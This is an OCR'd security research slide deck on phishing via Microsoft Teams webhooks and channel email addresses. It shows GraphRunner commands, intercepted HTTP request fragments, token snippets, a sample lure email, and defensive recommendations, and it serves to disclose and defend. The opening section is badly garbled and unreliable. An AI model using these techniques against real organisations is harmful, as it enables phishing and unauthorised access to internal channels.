mRhZDISTiwic3ViIjoiMjFXaUVUcELLZDNZZylZUjIteEStdZtpVzRmOnpyVWSFZ0ZZ TDRZWXhqWSIsInR1bmFudFSjdHISTIjoiQ0EL i Date: Thu, 04 Jan 2024 18:19:55 GMT
LCJ0aWQiOi IWMTUxYWMZNYO4ZGMOLTQYyMmYtYjcwYiOWNTAhYTE4ANIFkZDIiLCI lbmlxdWEbmFtZ5 16 Imxvd3 By, ARW1kZUxiZXJd
nRGOLYWlucySvbmlpY3JvelOmdC5ib20iLCI1ecG41i0idshb3dwemlZQEVPZGVsYVyZORVLUF pbnMub25taWNyb3NvZnQuY29tIividX

) ibONYNTZydUl4RUSwWMZRtMj14SF1BQSIsSInZlcil6IJEuUMCISIndpZHMiOlsiYjecSZmdmNGQEtMZVmOSO00NjgSLT

Y 2 6 c 0 MtNzZiM "emailAddressDetails"
gINTASI10sInhtclSjYyIEWyJDUDEiXSwieGLlzX3NzbSIEIJELifQ. ZBcyrycldwYzsS8IHnIVaFEuS1eéIg3cYFmtJuLxnYHW1W "emailId":"a5S 1f4e onmicrosoft S ns.ms"

YDY140PNCH-r IVMCgVBb_xKLéqaGl_HYAK r73mBw7jzEsBovE4TI1lUnAlkCd RpvdpD

gHF_bLGE },

pBshl7nYToiSPQrKFEBZbh3WiVSsPRB83LOp Kb KugPy 1Sz 17RW hW4wLFszuveWSZsBSNc quUBABtuquthrH "allowedSenders":{

ANmtDar 1HaB83yS5-51hgXRDuci7TLNZcSZAWDDy WnDfZ

/FODQ4MiEOQzc3MDczQUULQ
XAiOiJKVIQifQ.eyJpY
NTMtNDJ1MilhNzklLWZ]Y
widGlkIjoiMDE1MWF COOMJjJmLWISMGItMDU3YW T>
ZRtMjl4SF1BQ QiOjE3MDQzMD DYsImFhZFShcHBp
MONiJ9. iqZeSGB8ZeVMaPkizTvElfDiYefO

pZCI6Im9yZ21

ZGQy

ZZPDSRZJFPTS
39%e

User-Ag:nt. )5 s N . £4; D ebKit/537.36 (KHTML, like Gecko)
Chrc /120.0 99.71 Safari/537

Origin: https://teams.micro

Content-Length: 54

"allovedSenderT
"allowedDomains":null

"

"allowedSenderType":"any

https://t.me/learningnets



PUT Request

e Allows us to change the current values of “allowedSenderType” if an email
address already exists

Request Response

Pretty

edentials: true
d igin: https
HMELy9 G93c {Qv - s P s Headers: X-Server uestId
4NiwibmdmIj 3 r : 3 SBD3475592FALDA40OAL173BEE

3153€000; inclu




Sending Channel Emails



Sending A Message

e Set up a tenant - Create an Office365 tenant

e To find domains - We can use tools like Rvrsh31ll’s FindIngresEmail

e Using Azure's console and Send-Mail

noreply@eircom.net 10:09 PM
To TestShared - MSFT_Derp_Devs

Benefits Enrollment

Required Enrollment: Benefits Enroliment

Y mlanad A - mnal arvas
ownicada originail emal

<’ Reply




Defensive Perspective



Defensive Perspective - Webhooks

e While Microsoft hasn’t publicly acknowledged these issues

e To protect your organization:
o Disable connectors apps

o Enforce via policy a list of okay domains to receive emaills from
m These domains should be controlled by the organization



Defensive Perspective — Channel Email Address

e Microsoft does provide away to disable this.. from the GUI

F U
PS C:\Users\Admin\Desktop\GraphRunner-main> Get-ChannelEmail -Tokens $tokens -Channel Notifications -Team Dev
Team Name: Dev

Channel Name: Notifications

Checking Channel for Email Address

No Channel for Email Address Set

Creating one...

Current Channel Settings

Channel Email: 357clbdd. .onmicrosoft.com@ca.teams.ms
Channel Permissions: anyone

PS C:\Users\Admin\Desktop\GraphRunner-main> _




Continuing the
Research

or “Making i1t Developers Cry”



How to Get Started

e Thils 1s just the start
o Teams 1s a staple 1n any organization
o Having huge insecurities like this can lead to easy wins for attackers

e My intent by diving into this:
o Shed some light on some systemic 1ssues
Begin an open discussion on how to secure 1t
o Provide a roadmap for others to continue this



Methodology

e All you need:
o A Windows VM
o A web traffic interceptor (Burp, Zap etc.)
o An Office365 Tenant with Teams

e Intercept your browser/app and watch the traffic
o Look at the requests and responses
o Manipulate them
o Rinse and repeat



Thank You

Tool: https://github.com/dafthack/GraphRunner

Article: https://www.blackhillsinfosec.com/wishing-webhook-
phishing-in-teams/




	Slide 1: Wishing: Webhook Phishing In Teams
	Slide 2: Agenda 
	Slide 3: GraphRunner
	Slide 4: Limitations of the Graph API  
	Slide 5: Microsoft Connectors
	Slide 6: Microsoft Connectors 
	Slide 7: What are Webhooks
	Slide 8: Webhooks
	Slide 9: Webhooks – Why Do We Care
	Slide 10: Microsoft’s Authentication
	Slide 11: Microsoft’s Authentication
	Slide 12: Enumerating Webhooks
	Slide 13: Getting Started
	Slide 14: Connectors Management – Getting the Right Access
	Slide 15: Token Generation 
	Slide 16: BearerTokenFrom Workload & SkypeSpaceToken Tokens
	Slide 17: Connector’s Management Console Next Steps
	Slide 18: Connector’s Management Console - Error
	Slide 19: Connector’s Management Console
	Slide 20: Generating SkypeToken Tokens
	Slide 21: Decoded SkypeToken
	Slide 22: The Code
	Slide 23: Things that should not work
	Slide 24: Yet It Does…
	Slide 25: Getting the Goods
	Slide 26: Example Graphrunner – Get-Webhooks
	Slide 27: Creating Webhooks
	Slide 28: Creating Webhooks
	Slide 29: The Catch
	Slide 30: The Difference – The Channel ID
	Slide 31: Example GraphRunner - Create-Webhook
	Slide 32: Testing in the Wild
	Slide 33: Interesting
	Slide 34: Interesting
	Slide 35: Channels
	Slide 36: Channels Can Have Email Addresses
	Slide 37: Channel Addresses
	Slide 38: Channel Addresses – Microsoft’s Response
	Slide 39: GET Request
	Slide 40: POST Request
	Slide 41: PUT Request
	Slide 42: Sending Channel Emails
	Slide 43: Sending A Message
	Slide 44: Defensive Perspective 
	Slide 45: Defensive Perspective - Webhooks 
	Slide 46: Defensive Perspective – Channel Email Address 
	Slide 47: Continuing the Research
	Slide 48: How to Get Started
	Slide 49: Methodology
	Slide 50: Thank You

